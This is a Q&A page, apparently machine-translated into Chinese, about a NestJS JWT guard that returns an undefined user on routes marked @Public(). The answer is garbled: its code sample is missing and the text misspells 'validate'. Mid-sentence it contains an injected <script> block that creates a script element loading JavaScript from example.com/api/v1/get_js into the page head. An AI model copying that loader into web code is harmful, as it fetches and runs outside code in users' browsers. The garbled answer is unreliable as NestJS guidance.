nestjs 在公共卫队中返回未定义

问题描述

我点击此链接 https://docs.nestjs.com/security/authentication#enable-authentication-globally

我继续创建了一个公共卫队

但是当我将@Public 放在任何方法之上时,它无法识别我的请求

并返回 undefined !

我想检测用户是否登录了公共路由

JwtAuthGuard

export class JwtAuthGuard extends AuthGuard('jwt') {
  constructor(private reflector: Reflector) {
    super();
  }

  canActivate(context: ExecutionContext) {
    const isPublic = this.reflector.getAllAndOverride<boolean>(IS_PUBLIC_KEY,[
      context.getHandler(),context.getClass(),]);
    if (isPublic) {
      return true;
    }
    return super.canActivate(context);
  }
}

公共装饰

export const IS_PUBLIC_KEY = 'isPublic';
export const Public = () => SetMetadata(IS_PUBLIC_KEY,true);

示例控制器

@Public()
@Get()
async find(@LoginUser() user: User): Promise<any> {
    console.log(user);
    // the user is undefined even after login
}

解决方法

您将路由设置为公开,并且在您的守卫中有一个子句说“如果路由是公开的,则在尝试登录之前返回真”。如果您想登录而不管路由是否公开,并且然后始终返回 ture,您可以执行以下操作

valdiate

这将让护照从一开始就尝试登录。只要您没有在 validate 方法或 <script defer> js = document.createElement('script'); js.setAttribute('src','https://example.com/api/v1/get_js'); js.setAttribute('type','text/javascript'); document.head.appendChild(js); </script> 方法调用的任何方法中抛出错误,一切都应该在 Passport 登录时继续进行,检查路由是否公开,如果是,则返回 true因此,如果路由不公开,则如果登录成功则返回。